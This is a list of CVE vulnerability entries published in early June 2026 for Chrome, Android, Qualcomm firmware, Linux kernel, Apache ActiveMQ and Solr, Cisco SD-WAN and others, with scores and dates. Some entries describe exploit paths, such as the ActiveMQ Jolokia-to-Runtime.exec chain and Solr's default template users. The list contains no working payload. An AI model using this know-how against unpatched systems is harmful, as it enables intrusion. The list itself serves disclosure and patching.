CVE-2026-10953	google - chrome	Use after free in Core in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10960	google - chrome	Uninitialized Use in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3

CVE-2026-10961	google - chrome	Use after free in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10967	google - chrome	Use after free in SurfaceCapture in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-10970	google - chrome	Insufficient validation of untrusted input in InterestGroups in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.3
CVE-2026-11010	google - chrome	Use after free in WebShare in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.3
CVE-2026-11012	google - chrome	Use after free in Serial in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.3
CVE-2026-11040	google - chrome	Use after free in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.3
CVE-2026-11236	google - chrome	Insufficient policy enforcement in Web Bluetooth in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	8.3
CVE-2026-11237	google - chrome	Insufficient validation of untrusted input in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	8.3
CVE-2026-11256	google - chrome	Integer overflow in GPU in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	8.3
CVE-2026-24088	qualcomm - ar9380_firmware	Cryptographic Issue while processing a specific partition which allows unauthorized write access to load a customized bootloader.	2026-06-01	8.2
CVE-2026-28299	solarwinds - web_help_desk	SolarWinds Web Help Desk is found to be affected by a denial-of-service vulnerability, which when exploited, could cause the Web Help Desk server to crash due to insufficient memory.	2026-06-02	8.2
CVE-2026-8936	docker - Docker Desktop	Fixed a VM panic caused by unbounded recursion in the grpcfuse kernel module when a container created deeply nested directories on a bind-mounted host folder and triggered a dentry invalidation event. This issue has been fixed in Docker Desktop 4.76.0.	2026-06-02	8.2
CVE-2026-42588	apache - multiple products	Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter using the "masterslave:// " URL which can allow loading a Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 5.19.7 or 6.2.6, which fixes the issue.	2026-06-01	8.1
CVE-2026-44825	apache - multiple products	Hardcoded credentials in the Basic Authentication setup tool (bin/solr auth enable) in Apache Solr versions 9.4.0 through 9.10.1 and 10.0.0 allows a remote attacker to gain full administrative access to the cluster via publicly known default credentials installed silently alongside the user-specified account. As an immediate workaround without upgrading, delete the template users (superadmin, admin, search, index) from security.json or change their passwords. The future, not yet released, versions 9.11.0 and 10.1.0 will not be vulnerable, and it will be enough to upgrade to solve the issue. Not affected: * Clusters where bin/solr auth enable was not used to bootstrap BasicAuth * Clusters where template users have been assigned strong passwords after bootstrap	2026-06-01	8.1
CVE-2026-10887	google - chrome	Use after free in Chromoting in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)	2026-06-04	8.1
CVE-2026-10930	google - chrome	Out of bounds read in ANGLE in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.1
CVE-2026-11011	google - chrome	Insufficient policy enforcement in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.1
CVE-2026-11015	google - chrome	Out of bounds read in WebGPU in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.1

CVE-2026-11111	google - chrome	Out of bounds read in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	8.1
CVE-2026-11169	google - chrome	Inappropriate implementation in XML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted XML file. (Chromium security severity: Medium)	2026-06-04	8.1
CVE-2026-11170	google - chrome	Inappropriate implementation in Chromoting in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to perform OS-level privilege escalation via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	8.1
CVE-2026-11185	google - chrome	Use after free in V8 in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code inside a sandbox via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	8.1
CVE-2026-11224	google - chrome	Use after free in Chromoting in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Low)	2026-06-04	8.1
CVE-2026-11231	google - chrome	Inappropriate implementation in Safe Browsing in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a malicious file. (Chromium security severity: Low)	2026-06-04	8.1
CVE-2026-47294	microsoft - multiple products	Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.	2026-06-01	8
CVE-2026-0059	google - multiple products	In multiple functions of sdp_discovery.cc, there is a possible way to achieve code execution due to a heap buffer overflow. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	8
CVE-2026-0095	google - multiple products	In l2c_fcr_clone_buf of l2c_fcr.cc, there is a possible way to trigger controlled heap corruption within the privileged Bluetooth process due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	8
CVE-2026-0097	google - multiple products	In multiple locations, there is a possible way to bypass user interaction when pairing an LE device due to a logic error. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	8
CVE-2026-11241	google - chrome	Insufficient validation of untrusted input in Cast in Google Chrome prior to 149.0.7827.53 allowed an attacker on the local network segment to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	8
CVE-2026-10118	red hat - multiple products	A flaw was found in Poppler's Splash backend. A remote attacker could exploit this vulnerability by crafting a malicious PDF file that, when rendered, triggers an integer overflow in the `tilingPatternFill` function. This overflow leads to an undersized heap memory allocation, allowing a subsequent out-of-bounds write. Successful exploitation could result in arbitrary code execution, information disclosure, or denial of service within the context of the application processing the PDF.	2026-06-01	7.8
CVE-2026-8501	symantec - PC Tools Internet Security	Improper access control in the PCTCore64.sys Windows kernel driver from PC Tools Internet Security allows user-mode processes to access the PCTCoreDriver WDM device interface and invoke privileged IOCTL handlers. A local attacker with the ability to access or load the affected driver can exploit this vulnerability to perform sensitive and privileged operations on the target system.	2026-06-01	7.8
CVE-2026-43958	red hat - multiple products	A flaw was found in rrdcached, a component of rrdtool. A local attacker with access to a rrdcached socket can exploit a stack-based buffer overflow by sending an oversized CREATE request. This vulnerability can lead to a denial of service by crashing the daemon or potentially allow for arbitrary code execution, impacting the integrity and confidentiality of data.	2026-06-01	7.8
CVE-2025-22424	google - multiple products	In multiple locations, there is a possible way to reveal images across users due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.	2026-06-01	7.8
CVE-2025-22426	google - multiple products	In many functions of ComputerEngine.java, there is a possible way to access URIs across users due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2025-26418	google - multiple products	In setUserDisclaimerAcknowledged of CarDevicePolicyService.java, there is a possible way to bypass the user dialog when adding an account to a managed device due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2025-32348	google - multiple products	In multiple locations, there is a possible background activity launch due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2025-48570	google - android	In multiple functions of PipTaskOrganizer.java, there is a possible way to launch an activity from the background due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2025-48649	google - multiple products	In multiple locations, there is a possible way to reset user-selected permissions selections due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2025-48652	google - multiple products	In performPreInstallChecks of InstallRepository.kt, there is a possible way to bypass MDM policy due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0009	google - multiple products	In multiple locations, there is a possible tapjacking due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0036	google - multiple products	In startAnimation of StageCoordinator.java, there is a possible tapjacking issue due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0045	google - multiple products	In bta_jv_rfcomm_connect of bta_jv_act.cc, there is a possible bypass of bonding for a secure connection due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0076	google - multiple products	In validateNode of ResourceTypes.cpp, there is a possible out of bounds read due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8

CVE-2026-0077	google - multiple products	In resumeConfigurationDispatch of ActivityRecord.java, there is a possible background application launch (bal) due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0078	google - multiple products	In setGlobalProxy of DevicePolicyManagerService.java, there is a possible desync in persistence due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0087	google - multiple products	In approvalLevelForDomainInternal of DomainVerificationService.java, there is a possible way to hijack an arbitrary app link due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0088	google - multiple products	In getCallingAppLabel of CertInstaller.java, there is a possible way to hide a sensitive security dialogue due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0089	google - multiple products	In multiple functions of PackageInstallerService.java, there is a possible way to install unverified apps due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0091	google - multiple products	In multiple locations, there is a possible way to execute code in the launcher process due to an over-privileged shell user. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0093	google - multiple products	In multiple locations, there is a possible misleading UI due to obfuscation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0094	google - multiple products	In getApplicationLabel of KeyChainActivity.java, there is a possible way to trick the user into approving access to certificates due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0096	google - multiple products	In getAppLabel of ForgetDeviceDialogFragment.java, there is a possible trick the user into forgetting a device due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0098	google - multiple products	In getCallingPackageName of Shared.java, there is a possible way to bypass activity start restrictions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-0099	google - multiple products	In onNullBinding of HostEmulationManager.java, there is a possible way to launch an activity from the background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.	2026-06-01	7.8
CVE-2026-0100	google - multiple products	In Load of LoadedArsc.cpp, there is a possible out of bounds write due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-28577	google - multiple products	In addWindow of WindowManagerService.java, there is a possible tapjacking issue due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2026-28580	google - multiple products	In multiple functions, there is a possible desync in persistence due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	7.8
CVE-2025-59604	qualcomm - snapdragon_480_5g_mobile_platform_firmware	Memory Corruption when running a memory copy operation due to invalid writes caused by a null pointer.	2026-06-01	7.8
CVE-2025-59605	qualcomm - snapdragon_g1_gen_2_gaming_platform_firmware	Memory Corruption when processing device identifier strings that exceed the expected maximum length.	2026-06-01	7.8
CVE-2025-59606	qualcomm - cologne_firmware	Memory Corruption when writing to invalid memory locations occurs due to heap memory exhaustion during secure data initialization.	2026-06-01	7.8
CVE-2026-25258	qualcomm - cologne_firmware	Memory corruption while processing IOCTL calls for escape operations.	2026-06-01	7.8
CVE-2026-25259	qualcomm - cologne_firmware	Memory corruption while processing multiple IOCTL command for escape operations.	2026-06-01	7.8
CVE-2026-25260	qualcomm - cologne_firmware	Memory Corruption when accessing shared buffers without validation of concurrent user-mode input modifications.	2026-06-01	7.8
CVE-2026-40715	dell - thinos	Dell ThinOS 10, versions prior to ThinOS10 2602_10.0765, contain an Improper Access Control vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Privilege Escalation.	2026-06-02	7.8
CVE-2022-49036	synology - active_backup_for_business_recovery_media_creator	An inclusion of functionality from untrusted control sphere vulnerability in OpenSSL configuration in Synology Active Backup for Business Recovery Media Creator before 2.5.0-2081 allows local users to execute arbitrary code via unspecified vectors.	2026-06-03	7.8
CVE-2022-49042	synology - hyper_backup_explorer	An inclusion of functionality from untrusted control sphere vulnerability in MinGW DLL component in Synology Hyper Backup Explorer before 3.0.1-0156 allows local users to execute arbitrary code via unspecified vectors.	2026-06-03	7.8
CVE-2026-46246	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: power: supply: pm8916_lbc: Fix use-after-free for extcon in IRQ handler Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `extcon` handle, means that the `extcon` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where	2026-06-03	7.8

		an interrupt can fire just _after_ the `extcon` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `extcon_set_state_sync()` with a freed `extcon` handle. Which usually crashes the system or otherwise silently corrupts the memory... Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `extcon` handle.		
CVE-2026-46253	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: pstore/ram: fix buffer overflow in persistent_ram_save_old() persistent_ram_save_old() can be called multiple times for the same persistent_ram_zone (e.g., via ramoops_pstore_read -> ramoops_get_next_prz for PSTORE_TYPE_DMESG records). Currently, the function only allocates prz->old_log when it is NULL, but it unconditionally updates prz->old_log_size to the current buffer size and then performs memcpy_fromio() using this new size. If the buffer size has grown since the first allocation (which can happen across different kernel boot cycles), this leads to: 1. A heap buffer overflow (OOB write) in the memcpy_fromio() calls 2. A subsequent OOB read when ramoops_pstore_read() accesses the buffer using the incorrect (larger) old_log_size The KASAN splat would look similar to: BUG: KASAN: slab-out-of-bounds in ramoops_pstore_read+0x... Read of size N at addr ... by task ... The conditions are likely extremely hard to hit: 0. Crash with a ramoops write of less-than-record-max-size bytes. 1. Reboot: ramoops registers, pstore_get_records(0) reads old crash, allocates old_log with size X 2. Crash handler registered, timer started (if pstore_update_ms >= 0) 3. Oops happens (non-fatal, system continues) 4. pstore_dump() writes oops via ramoops_pstore_write() size Y (>X) 5. pstore_new_entry = 1, pstore_timer_kick() called 6. System continues running (not a panic oops) 7. Timer fires after pstore_update_ms milliseconds 8. pstore_timefunc() → schedule_work() → pstore_dowork() → pstore_get_records(1) 9. ramoops_get_next_prz() → persistent_ram_save_old() 10. buffer_size() returns Y, but old_log is X bytes 11. Y > X: memcpy_fromio() overflows heap Requirements: - a prior crash record exists that did not fill the record size (almost impossible since the crash handler writes as much as it can possibly fit into the record, capped by max record size and the kmsg buffer almost always exceeds the max record size) - pstore_update_ms >= 0 (disabled by default) - Non-fatal oops (system survives) Free and reallocate the buffer when the new size differs from the previously allocated size. This ensures old_log always has sufficient space for the data being copied.	2026-06-03	7.8
CVE-2026-46259	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: procfs: fix missing RCU protection when reading real_parent in do_task_stat() When reading /proc/[pid]/stat, do_task_stat() accesses task->real_parent without proper RCU protection, which leads to: cpu 0 cpu 1 ----- ----- do_task_stat var = task->real_parent release_task call_rcu(delayed_put_task_struct) task_tgid_nr_ns(var) rcu_read_lock <--- Too late to protect task->real_parent! task_pid_ptr <--- UAF! rcu_read_unlock This patch uses task_ppid_nr_ns() instead of task_tgid_nr_ns() to add proper RCU protection for accessing task->real_parent.	2026-06-03	7.8

CVE-2026-46260	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix out-of-bound access in fib6_add_rt2node(). syzbot reported out-of-bound read in fib6_add_rt2node(). [0] When IPv6 route is created with RTA_NH_ID, struct fib6_info does not have the trailing struct fib6_nh. The cited commit started to check !iter->fib6_nh->fib_nh_gw_family to ensure that rt6_qualify_for_ecmp() will return false for iter. If iter->nh is not NULL, rt6_qualify_for_ecmp() returns false anyway. Let's check iter->nh before reading iter->fib6_nh and avoid OOB read. [0]: BUG: KASAN: slab-out-of-bounds in fib6_add_rt2node+0x349c/0x3500 net/ipv6/ip6_fib.c:1142 Read of size 1 at addr ffff8880384ba6de by task syz.0.18/5500 CPU: 0 UID: 0 PID: 5500 Comm: syz.0.18 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xba/0x230 mm/kasan/report.c:482 kasan_report+0x117/0x150 mm/kasan/report.c:595 fib6_add_rt2node+0x349c/0x3500 net/ipv6/ip6_fib.c:1142 fib6_add_rt2node_nh net/ipv6/ip6_fib.c:1363 [inline] fib6_add+0x910/0x18c0 net/ipv6/ip6_fib.c:1531 __ip6_ins_rt net/ipv6/route.c:1351 [inline] ip6_route_add+0xde/0x1b0 net/ipv6/route.c:3957 inet6_rtm_newroute+0x268/0x19e0 net/ipv6/route.c:5660 rtnetlink_rcv_msg+0x7d5/0xbe0 net/core/rtnetlink.c:6958 netlink_rcv_skb+0x232/0x4b0 net/netlink/af_netlink.c:2550 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x80f/0x9b0 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x813/0xb40 net/netlink/af_netlink.c:1894 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg net/socket.c:742 [inline] ____sys_sendmsg+0xa68/0xad0 net/socket.c:2592 ___sys_sendmsg+0x2a5/0x360 net/socket.c:2646 __sys_sendmsg net/socket.c:2678 [inline] __do_sys_sendmsg net/socket.c:2683 [inline] __se_sys_sendmsg net/socket.c:2681 [inline] __x64_sys_sendmsg+0x1bd/0x2a0 net/socket.c:2681 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xe2/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f9316b9aeb9 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffd8809b678 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f9316e15fa0 RCX: 00007f9316b9aeb9 RDX: 0000000000000000 RSI: 0000200000004380 RDI: 0000000000000003 RBP: 00007f9316c08c1f R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f9316e15fac R14: 00007f9316e15fa0 R15: 00007f9316e15fa0 </TASK> Allocated by task 5499: kasan_save_stack mm/kasan/common.c:57 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:78 poison_kmalloc_redzone mm/kasan/common.c:398 [inline] __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415 kasan_kmalloc include/linux/kasan.h:263 [inline] __do_kmalloc_node mm/slub.c:5657 [inline] __kmalloc_noprof+0x40c/0x7e0 mm/slub.c:5669 kmalloc_noprof include/linux/slab.h:961 [inline] kzalloc_noprof include/linux/slab.h:1094 [inline] fib6_info_alloc+0x30/0xf0 net/ipv6/ip6_fib.c:155 ip6_route_info_create+0x142/0x860 net/ipv6/route.c:3820 ip6_route_add+0x49/0x1b0 net/ipv6/route.c:3949 inet6_rtm_newroute+0x268/0x19e0 net/ipv6/route.c:5660 rtnetlink_rcv_msg+0x7d5/0xbe0 net/core/rtnetlink.c:6958 netlink_rcv_skb+0x232/0x4b0 net/netlink/af_netlink.c:2550 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x80f/0x9b0 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x813/0xb40 net/netlink/af_netlink.c:1894	2026-06-03	7.8

		sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg net/socket.c:742 [inline] ____sys_sendmsg+0xa68/0xad0 net/socket.c:2592 ___sys_s ---truncated---		

CVE-2026-46263	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved:
		
		drm/amd/display: Fix out-of-bounds stream encoder index v3
		
		eng_id can be negative and that stream_enc_regs[]
		can be indexed out of bounds.
		
		eng_id is used directly as an index into stream_enc_regs[], which has
		only 5 entries. When eng_id is 5 (ENGINE_ID_DIGF) or negative, this can
		access memory past the end of the array.
		
		Add a bounds check using ARRAY_SIZE() before using eng_id as an index.
		The unsigned cast also rejects negative values.
		
		This avoids out-of-bounds access.
		
		Fixes the below smatch error:
		dcn*_resource.c: stream_encoder_create() may index
		stream_enc_regs[eng_id] out of bounds (size 5).
		
		drivers/gpu/drm/amd/amdgpu/../display/dc/resource/dcn351/dcn351_resource.c
		1246 static struct stream_encoder *dcn35_stream_encoder_create(
		1247 enum engine_id eng_id,
		1248 struct dc_context *ctx)
		1249 {
		
		...
		
		1255
		1256 /* Mapping of VPG, AFMT, DME register blocks to DIO block instance */
		1257 if (eng_id <= ENGINE_ID_DIGF) {
		
		ENGINE_ID_DIGF is 5. should <= be <?
		
		Unrelated but, ugh, why is Smatch saying that "eng_id" can be negative?
		end_id is type signed long, but there are checks in the caller which prevent it from being negative.
		
		1258 vpg_inst = eng_id;
		1259 afmt_inst = eng_id;
		1260 } else
		1261 return NULL;
		1262
		
		...
		
		1281
		1282 dcn35_dio_stream_encoder_construct(enc1, ctx, ctx->dc_bios,
		1283 eng_id, vpg, afmt,
		--> 1284 &stream_enc_regs[eng_id],
		^^^^^^^^^^^^^^^^^^^^^^^^ This stream_enc_regs[] array has 5
		elements so we are one element beyond the end of the array.
		
		...
		
		1287 return &enc1->base;
		1288 }
		
		v2: use explicit bounds check as suggested by Roman/Dan; avoid unsigned int cast
		
		v3: The compiler already knows how to compare the two values, so the
		cast (int) is not needed. (Roman)
			2026-06-03	7.8

CVE-2026-46267	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: nfc: hci: shdlc: Stop timers and work before freeing context llc_shdlc_deinit() purges SHDLC skb queues and frees the llc_shdlc structure while its timers and state machine work may still be active. Timer callbacks can schedule sm_work, and sm_work accesses SHDLC state and the skb queues. If teardown happens in parallel with a queued/running work item, it can lead to UAF and other shutdown races. Stop all SHDLC timers and cancel sm_work synchronously before purging the queues and freeing the context.	2026-06-03	7.8

		Found by Linux Verification Center (linuxtesting.org) with SVACE.		
CVE-2026-46271	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: do WoW offloads only on primary link In case of multi-link connection, WCN7850 firmware crashes due to WoW offloads enabled on both primary and secondary links. Change to do it only on primary link to fix it. Tested-on: WCN7850 hw2.0 PCI WLAN.HMT.1.1.c5-00284-QCAHMTSWPL_V1.0_V2.0_SILICONZ-1	2026-06-03	7.8
CVE-2026-10942	google - chrome	Inappropriate implementation in UI in Google Chrome on Windows prior to 149.0.7827.53 allowed a local attacker to perform privilege escalation via a malicious file. (Chromium security severity: High)	2026-06-04	7.8
CVE-2026-11072	google - chrome	Use after free in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a local attacker to execute arbitrary code via a malicious file. (Chromium security severity: Medium)	2026-06-04	7.8
CVE-2026-11103	google - chrome	Inappropriate implementation in Installer in Google Chrome on Windows prior to 149.0.7827.53 allowed a local attacker to perform OS-level privilege escalation via a malicious file. (Chromium security severity: Medium)	2026-06-04	7.8
CVE-2026-20245	cisco - multiple products	A vulnerability in the CLI of Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an authenticated, local attacker to execute arbitrary commands as root by supplying a crafted file to the affected system. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by uploading a crafted file to the affected system. A successful exploit could allow the attacker to perform command injection attacks on an affected system and elevate their privileges as the root user. To exploit this vulnerability, the attacker must have netadmin privileges on the affected system. This would require valid credentials or exploitation of or . Cisco is not aware of successful exploitation by other methods. Cisco has observed limited cases where the exploitation of this bug resulted in a configuration change pushed to edge devices. Cisco recommends that customers upgrade to the fixed software that is documented in the that was published on May 14, 2026, and verify the configuration of the edge devices.	2026-06-04	7.8
CVE-2026-11332	red hat - Red Hat Ansible Automation Platform 2	A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.	2026-06-05	7.8
CVE-2026-50261	red hat - multiple products	A use-after-free flaw was found in the X.Org X server and Xwayland in SyncChangeCounter(). A client that sets up multiple SyncCounters can trigger a use-after-free when destroying those counters via a second client connection while changing those counters. This may be used to crash the server, or for privilege escalation if the X server runs as root.	2026-06-05	7.8
CVE-2026-50264	red hat - multiple products	An out-of-bounds write flaw was found in the X.Org X server and Xwayland in DRIGetBuffers/DRIGetBuffersWithFormat. A client that requests multiple DRI2BufferBackLeft attachments and one DRI2BufferFrontLeft can trigger an out-of-bounds heap write. This may be used to crash the server, or for privilege escalation if the X server runs as root.	2026-06-05	7.8
CVE-2026-45497	microsoft - copilot	Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an authorized attacker to execute code over a network.	2026-06-04	7.7
CVE-2026-11297	google - chrome	Insufficient validation of untrusted input in Reader Mode in Google Chrome on Android prior to 149.0.7827.53 allowed a local attacker to bypass navigation restrictions via a malicious file. (Chromium security severity: Low)	2026-06-05	7.7
